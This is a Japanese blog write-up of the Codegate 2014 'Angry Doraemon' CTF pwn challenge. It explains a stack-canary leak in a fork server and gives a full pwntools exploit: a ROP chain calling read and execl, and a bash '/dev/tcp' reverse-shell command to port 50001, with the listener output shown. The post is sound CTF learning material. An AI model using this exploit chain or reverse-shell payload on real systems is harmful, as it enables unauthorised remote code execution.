読者です 読者をやめる 読者になる 読者になる

ちょっとずつ成長日記

強くなりたいと願いつつ少しずつ頑張る日記

Codegate CTF Preliminary 2014 Angry Doraemon

pwn list pwn list easy

今回の問題は32bit-ELFでfork-server型であった。問題の名前がもう例のアニメのネコ型ロボットがブチ切れて地球破壊爆弾を取り出すイメージしかなかった。
それはさておき、さっそく実行してみたが…どうやら、以下のようなファイル名がなければ正常に動かないらしい。ついでにセキュリティチェックも同時に行った。

gdb-peda$ checksec
CANARY    : ENABLED
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial

mouse.txt
doraemon.txt
bread.txt

この三つのファイルがないと正常に動かないようになっていた。PIEは無効になってるし使ってる関数は使えそう。とりあえず、同じディレクトリに配置して実行!

shima@chino:~/workspace/pwn_list_easy/AngryDoraemon$ nc localhost 8888
  Angry doraemon! fight!
Waiting 2 seconds...

Doraemon H.P: 100
- Attack menu -
 1.Sword
 2.Screwdriver
 3.Red-bean bread
 4.Throw mouse
 5.Fist attack
 6.Give up
>

どうやら、menuを選ぶ系の問題のようだ。うーむ、とりあえず、ユーザーが入力を多く受け付けている関数を探して、適当な値を入れてから反応がないのであれば、詳細を見ていこうかな。とりあえず、stack overflowしないか見ていこう。
この6つのmenuの中で一番入力を受け付けているのは4だった。(逆アセンブルしてread関数を中心に探した)まずはここを中心に探していこうかな。
まず気になったのはmenuでいうSword部分が実装されているuser関数だ。

mov     dword ptr [esp+8], 0
mov     dword ptr [esp+4], offset arg ; "sh"
mov     dword ptr [esp], offset path ; "/bin/sh"
call    _execl

どうやら今回はlibcを特定するような必要がなさそうだった。execlと/bin/shで用意されているため、この二つを使えば良さそうだった。
次に気になったのはmenuの中の4番目になるThrow mouseだ。

mov     dword ptr [esp+8], 6Eh ; nbytes
lea     eax, [ebp+buf]
mov     [esp+4], eax    ; buf
mov     eax, [ebp+fd]
mov     [esp], eax      ; fd
call    _read
movzx   eax, byte ptr [ebp+buf]
cmp     al, 79h

そのほかのmenuよりも受け付けるbyte数が多く。さらに、最初の文字がASCII文字でyであったら、read関数で受け付けた中身を表示するような形をとっていた。しかし、ここで疑問に思った。「中身を表示させるような必要なくない?しかも、NULL挿入されていないし」

lea     eax, [ebp+buf]
mov     [esp+8], eax
mov     dword ptr [esp+4], offset aYouChooseS ; "You choose '%s'!\n"
mov     dword ptr [esp], offset s ; s
call    _sprintf
mov     [ebp+n], eax
mov     eax, [ebp+n]
mov     [esp+8], eax    ; n
mov     dword ptr [esp+4], offset s ; buf
mov     eax, [ebp+fd]
mov     [esp], eax      ; fd
call    _write

もしかしたら、ここらへんでstack overflowするような脆弱性があるのだろうか?とりあえず入力部分を中心に適当な文字を入れて試してみよう。

shima@chino:~/workspace/pwn_list_easy/AngryDoraemon$ nc localhost 8888
  Angry doraemon! fight!
Waiting 2 seconds...

Doraemon H.P: 100
- Attack menu -
 1.Sword
 2.Screwdriver
 3.Red-bean bread
 4.Throw mouse
 5.Fist attack
 6.Give up
>4
Are you sure? (y/n) yaaaaaaaaaaaaaaaaaaaaaaa
You choose 'yaaaaaaaaaaaaaaaaaaaaaaa
�Œ'!

"MOUSE!!!!!!!!! (HP - 25)"


shima@chino:~/workspace/pwn_list_easy/AngryDoraemon$ ./angry 
*** stack smashing detected ***: ./angry terminated

どうやら、stackが壊れたのを検知したみたい。また、yの文字が入っていたら、NULL挿入しないことによるstackの中身がleakできる脆弱性を見つけた。ここら辺を詳しくデバッグしてみてみよう。

gdb-peda$ x/50wx 0xffffcf50
0xffffcf50:    0x36790000 0x0a363636 0x00000000 0x0a4b2600
0xffffcf60:    0xffffcf88 0xf7eeaf83 0xffffcf98 0x080492c5

どうやら、canaryをつぶしたエラーになっていた。そして、そのcanaryから三つ先の0xffffcf6cにreturnアドレスである0x080492c5が格納されていることが分かった。
私はここで、あることを思い出した。「親プロセスが死なない限りcanaryって変わらないんじゃ?」つまり、最初つなげたときはcanaryをleakさせるために、わざとstackを壊してNULLを入れ忘れによる脆弱性からcanaryをleakし、二回目で攻撃コードを組んで送る方法を思いついた。
結果的にはこれでうまくいったのでこーどべちょー

#!/usr/bin/env python2
from pwn import * 

context(os='linux', arch='i386')
context.log_level = 'debug' # output verbose log
elf = ELF('./angry')

if len(sys.argv) > 1 and sys.argv[1] == 'r':
        HOST = 'localhost'
        PORT = 8888
        conn = remote(HOST, PORT)
        print "[+] connect to server\n"
else:
        conn = process('./angry')
        print "[+] connect to local\n"


# leak canary
conn.recvuntil('>')
conn.send('4\n')
payload = ''
payload += 'yAAABBBBCC'
payload += '\n'
conn.recvuntil('Are you sure? (y/n) ')
conn.send(payload)
conn.recvuntil('yAAABBBBCC\n')
canary = '\x00' + conn.recv(3)
conn.close()

# overflow and read execl args
if len(sys.argv) > 1 and sys.argv[1] == 'r':
        HOST = 'localhost'
        PORT = 8888
        conn = remote(HOST, PORT)
        print "[+] connect to server\n"
else:
        conn = process('./angry')
        print "[+] connect to local\n"

bss = elf.get_section_by_name('.bss').header['sh_addr']

# rp++ --file=./angry --rop=3 --unique > gadgets.txt
# 0x080495bd: pop esi ; pop edi ; pop ebp ; ret  ;
rop = 0x080495bd

# read(4, bss, 0x100) return rop
read = p32(elf.plt['read']) + p32(rop) + p32(4) + p32(bss) + p32(0x100)

binsh = 0x0804970D # used sword fuction
args = ''
args += p32(binsh) # first arg
args += p32(binsh) # second arg
args += p32(bss)   # third arg
args += p32(bss+4) # forth arg
args += p32(0)

#execl(/bin/sh, /bin/sh, bss, bss + 4)
execl = p32(elf.plt['execl']) + p32(0xdeadbeef) + args

conn.recvuntil('>')
conn.send('4\n')
payload = ''
payload += 'A' * 10
payload += canary
payload += '\x90' * 12
payload += read
payload += execl
payload += '\n'
conn.recvuntil('Are you sure? (y/n) ')
conn.send(payload)

# send execl args
args = ''
args += '-c\x00\x00'
args += 'bash -c \'/bin/sh 9<>/dev/tcp/localhost/50001 <&9 >&9 2>&9\'\x00'

conn.send(args)

まず最初につなげたときに、canaryをleakする。canaryの先頭である\x00を改行でつぶしてleakした3byteの先頭に\x00がcanaryになる。次に二回目だが、まず最初のreturn先をread関数にして後で呼ぶexeclの引数をbssセクションに格納するように用意する。
read関数が終わった後のreturn先だが、POP命令を三回行ってread関数の引数を無くした後に、execlをreturn先にする。引数にする/bin/shだが、これはsword関数に使われている/bin/shを使用する。
第三引数以降はbssのアドレスを入れて置き、あとで送るような形にした。引数自体はポート番号50001にreverse shellするような形をとったため、ncコマンド等で50001にlistenしておく。
上手くいけば以下のようになっているはず。

server
shima@chino:~/workspace/pwn_list_easy/AngryDoraemon$ ./angry 
*** stack smashing detected ***: ./angry terminated

attacker
shima@chino:~/workspace/pwn_list_easy/AngryDoraemon$ python exploit.py r
[*] '/home/shima/workspace/pwn_list_easy/AngryDoraemon/angry'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE
[+] Opening connection to localhost on port 8888: Done
[+] connect to server

[*] Closed connection to localhost port 8888
[+] Opening connection to localhost on port 8888: Done
[+] connect to server

[*] Closed connection to localhost port 8888

nc listen 50001
shima@chino:~/workspace/pwn_list_easy/AngryDoraemon$ nc -lvp 50001
Listening on [0.0.0.0] (family 0, port 50001)
Connection from [127.0.0.1] port 50001 [tcp/*] accepted (family 2, sport 57361)

【総評】fork-server型canary leakのいい問題